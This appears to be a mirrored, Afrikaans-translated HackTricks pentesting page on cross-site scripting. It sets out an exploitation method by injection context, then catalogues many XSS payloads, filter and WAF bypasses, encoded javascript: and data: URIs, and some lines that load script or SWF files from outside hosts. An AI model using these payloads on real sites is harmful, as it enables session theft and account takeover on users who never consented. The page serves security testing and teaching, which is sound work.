mirror of
https://github.com/carlospolop/hacktricks
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1429 lines
72 KiB
Markdown
1429 lines
72 KiB
Markdown
# XSS (Cross Site Scripting)
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<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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As jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
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{% embed url="https://www.stmcyber.com/careers" %}
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## Metodologie
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1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koppe_?, _koekies_?) in die HTML **weerspieël** word of deur **JS**-kode **gebruik** word.
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2. **Vind die konteks** waar dit weerspieël/gebruik word.
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3. Indien **weerspieël**
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1. Kontroleer **watter simbole jy kan gebruik** en afhangende daarvan, berei die lading voor:
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1. In **rou HTML**:
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1. Kan jy nuwe HTML-etikette skep?
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2. Kan jy gebeurtenisse of eienskappe gebruik wat die `javascript:` protokol ondersteun?
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3. Kan jy beskermings omseil?
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4. Word die HTML-inhoud deur enige kliëntkant-JS-enjin geïnterpreteer (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant-sjablooninspuiting**](../client-side-template-injection-csti.md) misbruik.
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5. As jy nie HTML-etikette kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merk - HTML-skriptlose inspuiting**](../dangling-markup-html-scriptless-injection/) misbruik?
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2. Binne 'n **HTML-etiket**:
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1. Kan jy na rou HTML-konteks ontsnap?
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2. Kan jy nuwe gebeurtenisse/eienskappe skep om JS-kode uit te voer?
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3. Ondersteun die eienskap waarin jy vasgevang is JS-uitvoering?
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4. Kan jy beskermings omseil?
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3. Binne **JavaScript-kode**:
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1. Kan jy die `<script>`-etiket ontsnap?
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2. Kan jy die string ontsnap en verskillende JS-kode uitvoer?
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3. Is jou insette in sjabloonliterale \`\`?
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4. Kan jy beskermings omseil?
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4. JavaScript **funksie** wat **uitgevoer** word
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1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
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4. Indien **gebruik**:
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1. Jy kan 'n **DOM XSS** uitbuit, let op hoe jou inset beheer word en of jou **beheerde inset deur enige sink gebruik word**.
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Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om van die volgende te weet:
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{% content-ref url="debugging-client-side-js.md" %}
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[debugging-client-side-js.md](debugging-client-side-js.md)
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{% endcontent-ref %}
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## Weerspieëlde waardes
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Om 'n XSS suksesvol uit te buit, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat in die webbladsy weerspieël word**.
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* **Tussenliggend weerspieël**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webbladsy weerspieël word, kan jy 'n **Weerspieëlde XSS** uitbuit.
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* **Gestoor en weerspieël**: As jy vind dat 'n waarde wat deur jou beheer word in die bediener gestoor word en elke keer as jy 'n bladsy besoek weerspieël word, kan jy 'n **Gestoorde XSS** uitbuit.
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* **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word deur JS gebruik word, kan jy 'n **DOM XSS** uitbuit.
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## Kontekste
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Wanneer jy probeer om 'n XSS uit te buit, is die eerste ding wat jy moet weet **waar jou inset weerspieël word**. Afhangende van die konteks, sal jy arbitrêre JS-kode op verskillende maniere kan uitvoer.
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### Rou HTML
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As jou inset **weerspieël word op die rou HTML**-bladsy, sal jy 'n paar **HTML-etiket** moet misbruik om JS-kode uit te voer: `<img , <iframe , <svg , <script` ... dit is net 'n paar van die vele moontlike HTML-etikette wat jy kan gebruik.\
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Hou ook [Kliëntkant-sjablooninspuiting](../client-side-template-injection-csti.md) in gedagte.
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### Binne HTML-etiketattribuut
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As jou inset binne die waarde van die eienskap van 'n etiket weerspieël word, kan jy probeer:
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1. Om **uit die eienskap en uit die etiket te ontsnap** (dan sal jy in die rou HTML wees) en nuwe HTML-etiket skep om te misbruik: `"><img [...]`
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2. As jy **uit die eienskap kan ontsnap maar nie uit die etiket nie** (`>` is gekodeer of verwyder), afhangende van die etiket kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
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3. As jy **nie uit die eienskap kan ontsnap nie** (`"` word gekodeer of verwyder), dan afhangende van **watter eienskap** jou waarde weerspieël word in **as jy al die waarde beheer of net 'n deel daarvan** jy dit kan misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, kan jy dit arbitrêre kode laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
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4. As jou inset binne "**onuitbuitbare etikette**" weerspieël word, kan jy die **`accesskey`-truk** probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieur nodig hê om dit uit te buit): **`" accesskey="x" onclick="alert(1)" x="`**
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### Binne JavaScript-kode
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In hierdie geval word jou inset weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n eienskap wat die **`javascript:`** protokol gebruik:
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* As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs as jou inset binne enige soort aanhalingstekens is, kan jy probeer om `</script>` in te spuit en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontledig** en dan die inhoud, daarom sal dit nie agterkom dat jou ingespotte `</script>`-etiket binne die HTML-kode is nie.
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* As dit weerspieël word **binne 'n JS-string** en die vorige truuk nie werk nie, sal jy die string moet **verlaat**, jou kode moet **uitvoer** en die JS-kode moet **herkonstrueer** (as daar enige fout is, sal dit nie uitgevoer word nie:
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* `'-alert(1)-'`
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* `';-alert(1)//`
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* `\';alert(1)//`
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* As dit binne sjabloonliterale weerspieël word, kan jy **JS-uitdrukkings** inbed met behulp van `${ ... }`-sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
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* **Unicode-kodering** werk om **geldige javascript-kode** te skryf:
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```javascript
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\u{61}lert(1)
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\u0061lert(1)
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\u{0061}lert(1)
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```
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#### Javascript Hoisting
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Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of klasse te verklaar nadat hulle gebruik is sodat jy scenarios kan misbruik waar 'n XSS onverklaarde veranderlikes of funksies gebruik.**\
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**Kyk na die volgende bladsy vir meer inligting:**
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{% content-ref url="js-hoisting.md" %}
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[js-hoisting.md](js-hoisting.md)
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{% endcontent-ref %}
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### Javascript Funksie
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Verskeie webbladsye het eindpunte wat **die naam van die funksie aanvaar as parameter om uit te voer**. 'n Algemene voorbeeld wat in die wild gesien word, is iets soos: `?callback=callbackFunc`.
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'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee word, probeer uitgevoer word, is deur **die paramwaarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
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 (2).png>)
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Indien dit vatbaar is, kan jy dalk 'n **waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte die inhoud **valideer** om slegs letters, syfers, kolletjies en onderstrepe toe te laat (**`[\w\._]`**).
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Nietemin is dit steeds moontlik om sekere aksies uit te voer, selfs met daardie beperking. Dit is omdat jy daardie geldige karakters kan gebruik om enige element in die DOM **te benader**:
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.png>)
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Sommige nuttige funksies hiervoor:
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```
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firstElementChild
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lastElementChild
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nextElementSibiling
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lastElementSibiling
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parentElement
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```
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Jy kan ook probeer om **Javascript funksies direk te aktiveer**: `obj.sales.delOrders`.
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Gewoonlik is die eindpunte wat die aangeduide funksie uitvoer eindpunte sonder baie interessante DOM, **ander bladsye in dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.
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Daarom is die **Selfde Oorsprong Metode Uitvoering (SOME)** uitbuiting ontwikkel om hierdie kwesbaarheid in 'n ander DOM te **misbruik**:
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{% content-ref url="some-same-origin-method-execution.md" %}
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[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
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{% endcontent-ref %}
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### DOM
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Daar is **JS-kode** wat **onveilig** van 'n aanvaller beheerde data gebruik soos `location.href`. 'n Aanvaller kan dit misbruik om willekeurige JS-kode uit te voer.
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{% content-ref url="dom-xss.md" %}
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[dom-xss.md](dom-xss.md)
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{% endcontent-ref %}
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### **Universale XSS**
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Hierdie soort XSS kan **oral** gevind word. Dit hang nie net af van die kliënt-uitbuiting van 'n webtoepassing nie, maar van **enige** **konteks**. Hierdie soort **willekeurige JavaScript-uitvoering** kan selfs misbruik word om **RCE** te verkry, **willekeurige lêers te lees** op kliënte en bedieners, en meer.\
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Sommige **voorbeelde**:
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{% content-ref url="server-side-xss-dynamic-pdf.md" %}
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[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
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{% endcontent-ref %}
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{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %}
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[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
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{% endcontent-ref %}
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## WAF omseilingskodering van beeld
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## Ins spuiting binne rou HTML
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Wanneer jou inset **binne die HTML-bladsy** gereflekteer word of jy HTML-kode kan ontsnap en ins spuit in hierdie konteks, is die **eerste** ding wat jy moet doen, om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **reflekteer** en kyk of dit **HTML-gekodeer** word of **verwyder** word of as dit sonder veranderinge **gereflekteer** word. **Slegs in die laaste geval sal jy hierdie geval kan uitbuit**.\
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Vir hierdie gevalle moet jy ook in gedag hou [**Kliëntkant Sjablooninspuiting**](../client-side-template-injection-csti.md)**.**\
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_**Nota: 'n HTML-kommentaar kan gesluit word met**** ****`-->`**** ****of**** ****`--!>`**_
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In hierdie geval en as geen swart-/witlysing gebruik word nie, kan jy ladingstukke soos gebruik:
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```html
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<script>alert(1)</script>
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<img src=x onerror=alert(1) />
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<svg onload=alert('XSS')>
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```
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Maar, as tags/kenmerke swartlys/witlys gebruik word, sal jy nodig hê om **brute-force watter tags** jy kan skep.\
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Sodra jy **geïdentifiseer het watter tags toegelaat word**, sal jy nodig hê om **brute-force kenmerke/gebeure** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
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### Tags/Gebeure brute-force
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Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na knipbord**_. Stuur dan almal met Burp intruder en kontroleer of enige tags nie as skadelik deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeure** gebruik deur die geldige tags (op dieselfde webbladsy klik op _**Kopieer gebeure na knipbord**_ en volg dieselfde prosedure as voorheen).
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### Aangepaste tags
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As jy geen geldige HTML-tag gevind het nie, kan jy probeer om **'n aangepaste tag te skep** en JS-kode uit te voer met die `onfocus` kenmerk. In die XSS-versoek moet jy die URL eindig met `#` om die bladsy **te fokus op daardie objek** en die kode **uit te voer**:
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```
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/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
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```
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### Swartlys Verbygaan
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Indien 'n soort swartlys gebruik word, kan jy probeer om dit te verbygaan met 'n paar dom truuks:
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```javascript
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//Random capitalization
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<script> --> <ScrIpT>
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<img --> <ImG
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//Double tag, in case just the first match is removed
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<script><script>
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<scr<script>ipt>
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<SCRscriptIPT>alert(1)</SCRscriptIPT>
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//You can substitude the space to separate attributes for:
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/
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/*%00/
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/%00*/
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%2F
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%0D
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%0C
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%0A
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%09
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//Unexpected parent tags
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<svg><x><script>alert('1')</x>
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//Unexpected weird attributes
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<script x>
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<script a="1234">
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<script ~~~>
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<script/random>alert(1)</script>
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<script ///Note the newline
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>alert(1)</script>
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<scr\x00ipt>alert(1)</scr\x00ipt>
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//Not closing tag, ending with " <" or " //"
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<iframe SRC="javascript:alert('XSS');" <
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<iframe SRC="javascript:alert('XSS');" //
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//Extra open
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<<script>alert("XSS");//<</script>
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//Just weird an unexpected, use your imagination
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<</script/script><script>
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<input type=image src onerror="prompt(1)">
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//Using `` instead of parenthesis
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onerror=alert`1`
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//Use more than one
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<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
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```
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### Lengte omseil (klein XSSs)
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{% hint style="info" %}
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**Meer klein XSS vir verskillende omgewings** lading [**kan hier gevind word**](https://github.com/terjanq/Tiny-XSS-Payloads) en [**hier**](https://tinyxss.terjanq.me).
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{% endhint %}
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```html
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<!-- Taken from the blog of Jorge Lajara -->
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<svg/onload=alert``>
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<script src=//aa.es>
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<script src=//℡㏛.pw>
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```
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Die laaste een maak gebruik van 2 Unicode karakters wat uitbrei na 5: telsr\
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Meer van hierdie karakters kan gevind word [hier](https://www.unicode.org/charts/normalization/).\
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Om te kontroleer watter karakters ontbind is, kyk [hier](https://www.compart.com/en/unicode/U+2121).
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### Kliek XSS - Clickjacking
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Indien jy die kwesbaarheid wil uitbuit deur die **gebruiker te laat kliek op 'n skakel of 'n vorm** met vooraf ingevulde data, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
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### Onmoontlik - Hangende Opmaak
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Indien jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Hangende Opmaak**](../dangling-markup-html-scriptless-injection/) nagaan omdat jy die kwesbaarheid kan **uitbuit** sonder om **JS**-kode uit te voer.
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## Inspruiting binne HTML-tag
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### Binne die tag/ontsnapping vanaf attribuutwaarde
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Indien jy **binne 'n HTML-tag** is, kan jy eerste probeer om te **ontsnap** van die tag en van die tegnieke wat genoem word in die [vorige afdeling](./#injecting-inside-raw-html) gebruik om JS-kode uit te voer.\
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Indien jy **nie kan ontsnap van die tag nie**, kan jy nuwe eienskappe binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload te gebruik soos (_let daarop dat in hierdie voorbeeld dubbele aanhalingstekens gebruik word om te ontsnap van die attribuut, jy sal hulle nie nodig hê as jou inset direk binne die tag weerspieël word_):
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```bash
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" autofocus onfocus=alert(document.domain) x="
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" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
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```
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**Stylgebeure**
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```python
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<p style="animation: x;" onanimationstart="alert()">XSS</p>
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<p style="animation: x;" onanimationend="alert()">XSS</p>
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#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
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<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
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#moving your mouse anywhere over the page (0-click-ish):
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<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
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```
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### Binne die attribuut
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Selfs as jy **nie kan ontsnap van die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël as **jy al die waarde beheer of net 'n deel daarvan** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan maak om arbitêre kode uit te voer wanneer dit geklik word.\
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'n Ander interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitêre kode uit te voer: **`href="javascript:alert(1)"`**
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**Bypass binne gebeurtenis deur HTML-kodering/URL-kodering**
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Die **HTML-gekodeerde karakters** binne die waarde van HTML-etiketattribuute word tydens uitvoering **gedekodeer**. Daarom sal iets soos die volgende geldig wees (die lading is vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
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Merk op dat **enige soort HTML-kodering geldig is**:
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```javascript
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//HTML entities
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'-alert(1)-'
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//HTML hex without zeros
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'-alert(1)-'
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//HTML hex with zeros
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'-alert(1)-'
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//HTML dec without zeros
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'-alert(1)-'
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//HTML dec with zeros
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'-alert(1)-'
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<a href="javascript:var a=''-alert(1)-''">a</a>
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<a href="javascript:alert(2)">a</a>
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<a href="javascript:alert(3)">a</a>
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```
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**Let wel dat URL-kodering ook sal werk:**
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```python
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<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
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```
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**Deur Unicode-kodering binne 'n gebeurtenis te omseil**
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```javascript
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||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||
```
|
||
### Spesiale Protokolle binne die attribuut
|
||
|
||
Daar kan jy die protokolle **`javascript:`** of **`data:`** op sommige plekke gebruik om **arbitrêre JS-kode uit te voer**. Sommige sal gebruikerinteraksie vereis en ander nie.
|
||
```javascript
|
||
javascript:alert(1)
|
||
JavaSCript:alert(1)
|
||
javascript:%61%6c%65%72%74%28%31%29 //URL encode
|
||
javascript:alert(1)
|
||
javascript:alert(1)
|
||
javascript:alert(1)
|
||
javascriptΪlert(1)
|
||
java //Note the new line
|
||
script:alert(1)
|
||
|
||
data:text/html,<script>alert(1)</script>
|
||
DaTa:text/html,<script>alert(1)</script>
|
||
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
|
||
data:text/html;charset=UTF-8,<script>alert(1)</script>
|
||
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||
 A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||
```
|
||
**Plekke waar jy hierdie protokolle kan inspuit**
|
||
|
||
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige tag wat die attribuut `href` aanvaar** en in **die meeste** van die tags wat die **attribuut `src`** aanvaar (maar nie `<img`)
|
||
```markup
|
||
<a href="javascript:alert(1)">
|
||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||
<form action="javascript:alert(1)"><button>send</button></form>
|
||
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
|
||
<object data=javascript:alert(3)>
|
||
<iframe src=javascript:alert(2)>
|
||
<embed src=javascript:alert(1)>
|
||
|
||
<object data="data:text/html,<script>alert(5)</script>">
|
||
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
|
||
<embed src=" A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
|
||
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
|
||
|
||
//Special cases
|
||
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
|
||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||
<iframe srcdoc="<svg onload=alert(4);>">
|
||
```
|
||
**Ander verduisteringstreke**
|
||
|
||
_**In hierdie geval is die HTML-kodering en die Unicode-koderingstrik van die vorige afdeling ook geldig omdat jy binne 'n attribuut is.**_
|
||
```javascript
|
||
<a href="javascript:var a=''-alert(1)-''">
|
||
```
|
||
Verder is daar nog 'n **mooi truuk** vir hierdie gevalle: **Selfs as jou inset binne `javascript:...` URL-gekodeer is, sal dit URL-ontkodeer word voordat dit uitgevoer word.** Dus, as jy moet **ontsnapping** van die **string** gebruik deur 'n **enkellid** en jy sien dat **dit URL-gekodeer word**, onthou dat **dit nie saak maak nie,** dit sal tydens die **uitvoertyd** geïnterpreteer word as 'n **enkellid**.
|
||
```javascript
|
||
'-alert(1)-'
|
||
%27-alert(1)-%27
|
||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||
```
|
||
Merk op dat as jy probeer om **beide** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodeer, sal dit **nie werk nie**, maar jy kan hulle **binne die payload meng**.
|
||
|
||
**Die gebruik van Hex en Octal kodeer met `javascript:`**
|
||
|
||
Jy kan **Hex** en **Octal kodeer** binne die `src` eienskap van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**:
|
||
```javascript
|
||
//Encoded: <svg onload=alert(1)>
|
||
// This WORKS
|
||
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
|
||
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
|
||
|
||
//Encoded: alert(1)
|
||
// This doesn't work
|
||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||
```
|
||
### Omgekeerde tab nabbing
|
||
```javascript
|
||
<a target="_blank" rel="opener"
|
||
```
|
||
Indien jy enige URL kan inspuit in 'n willekeurige **`<a href=`** tag wat die **`target="_blank" en rel="opener"`** eienskappe bevat, kontroleer die **volgende bladsy om hierdie gedrag te misbruik**:
|
||
|
||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||
{% endcontent-ref %}
|
||
|
||
### on Event Handlers Bypass
|
||
|
||
Eerstens, kontroleer hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" event handlers**.\
|
||
In geval daar 'n swartlys is wat voorkom dat jy hierdie event handlers kan skep, kan jy die volgende bypasses probeer:
|
||
```javascript
|
||
<svg onload%09=alert(1)> //No safari
|
||
<svg %09onload=alert(1)>
|
||
<svg %09onload%20=alert(1)>
|
||
<svg onload%09%20%28%2c%3b=alert(1)>
|
||
|
||
//chars allowed between the onevent and the "="
|
||
IExplorer: %09 %0B %0C %020 %3B
|
||
Chrome: %09 %20 %28 %2C %3B
|
||
Safari: %2C %3B
|
||
Firefox: %09 %20 %28 %2C %3B
|
||
Opera: %09 %20 %2C %3B
|
||
Android: %09 %20 %28 %2C %3B
|
||
```
|
||
### XSS in "Onuitbuitbare tages" (verborge invoer, skakel, kanonieke, meta)
|
||
|
||
Vanaf [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborge invoere te misbruik met:**
|
||
```html
|
||
<button popvertarget="x">Click me</button>
|
||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||
```
|
||
En in **meta-tages**:
|
||
```html
|
||
<!-- Injection inside meta attribute-->
|
||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||
<!-- Existing target-->
|
||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||
<div popover id="newsletter">Newsletter popup</div>
|
||
```
|
||
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS-lading binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangssleutel attribuut te gebruik. Hier is die vektor:
|
||
```markup
|
||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||
```
|
||
**Die XSS-lading sal iets soos hierdie wees: `" accesskey="x" onclick="alert(1)" x="`**
|
||
|
||
### Swartlys Verby
|
||
|
||
Verskeie truuks met die gebruik van verskillende enkodering is reeds blootgestel binne hierdie afdeling. Gaan **terug om te leer waar jy kan gebruik:**
|
||
|
||
* **HTML enkodering (HTML-etikette)**
|
||
* **Unicode enkodering (kan geldige JS-kode wees):** `\u0061lert(1)`
|
||
* **URL enkodering**
|
||
* **Hex en Oktale enkodering**
|
||
* **data enkodering**
|
||
|
||
**Verbygaan vir HTML-etikette en eienskappe**
|
||
|
||
Lees die [Swartlys Verby van die vorige afdeling](./#blacklist-bypasses).
|
||
|
||
**Verbygaan vir JavaScript-kode**
|
||
|
||
Lees die J[avaScript verby swartlys van die volgende afdeling](./#javascript-bypass-blacklists-techniques).
|
||
|
||
### CSS-Gadgets
|
||
|
||
As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voetnota met 'n onmouseover element), kan jy probeer om **die spasie wat die element inneem te wysig** om die kanse te maksimeer om die skakel te laat afgaan.
|
||
|
||
Byvoorbeeld, jy kan bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||
|
||
Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind
|
||
|
||
> .toets {display:block; color: blue; width: 100%\}
|
||
|
||
en
|
||
|
||
> \#someid {top: 0; font-family: Tahoma;}
|
||
|
||
Nou kan jy ons skakel wysig en dit na die vorm bring
|
||
|
||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||
|
||
Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||
|
||
## Inspruiting binne JavaScript-kode
|
||
|
||
In hierdie geval gaan jou **inskrywing** binne die JS-kode van 'n `.js` lêer wees of tussen `<script>...</script>` etikette of tussen HTML-gebeurtenisse wat JS-kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
|
||
|
||
### Ontsnapping van die \<script> etiket
|
||
|
||
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die **ontsnapping van die sluiting van die `<script>`** etiket:
|
||
```javascript
|
||
</script><img src=1 onerror=alert(document.domain)>
|
||
```
|
||
Merk op dat in hierdie voorbeeld ons selfs die enkel aanhalingsteken **nie eers gesluit het nie**. Dit is omdat **HTML-analise word eerste deur die webblaaier uitgevoer**, wat die identifisering van bladsyelemente insluit, insluitend blokke van skrips. Die analisering van JavaScript om die ingeslote skripte te verstaan en uit te voer, word eers daarna uitgevoer.
|
||
|
||
### Binne JS-kode
|
||
|
||
As `<>` gesanitiseer word, kan jy steeds die string **ontvlug** waar jou inset is en **arbitrêre JS uitvoer**. Dit is belangrik om die JS-sintaks te **regmaak**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
|
||
```
|
||
'-alert(document.domain)-'
|
||
';alert(document.domain)//
|
||
\';alert(document.domain)//
|
||
```
|
||
### Sjabloonliterale \`\`
|
||
|
||
Om **strings** saam te stel behalwe enkel en dubbele aanhalingstekens, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as sjabloonliterale omdat hulle toelaat om **ingeslote JS-uitdrukkings** te gebruik met behulp van `${ ... }`-sintaksis.\
|
||
Dus, as jy vind dat jou inset binne 'n JS-string **weerspieël** word wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **willekeurige JS-kode** uit te voer:
|
||
|
||
Dit kan **misbruik** word deur:
|
||
```javascript
|
||
`${alert(1)}`
|
||
`${`${`${`${alert(1)}`}`}`}`
|
||
```
|
||
|
||
```````````````javascript
|
||
// This is valid JS code, because each time the function returns itself it's recalled with ``
|
||
function loop(){return loop}
|
||
loop``````````````
|
||
```````````````
|
||
### Geënkripteerde kode-uitvoering
|
||
```markup
|
||
<script>\u0061lert(1)</script>
|
||
<svg><script>alert('1')
|
||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||
```
|
||
### Unicode Encode JS uitvoering
|
||
```javascript
|
||
\u{61}lert(1)
|
||
\u0061lert(1)
|
||
\u{0061}lert(1)
|
||
```
|
||
### JavaScript omseil swartlys tegnieke
|
||
|
||
**Strings**
|
||
```javascript
|
||
"thisisastring"
|
||
'thisisastrig'
|
||
`thisisastring`
|
||
/thisisastring/ == "/thisisastring/"
|
||
/thisisastring/.source == "thisisastring"
|
||
"\h\e\l\l\o"
|
||
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
||
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
|
||
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
|
||
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
|
||
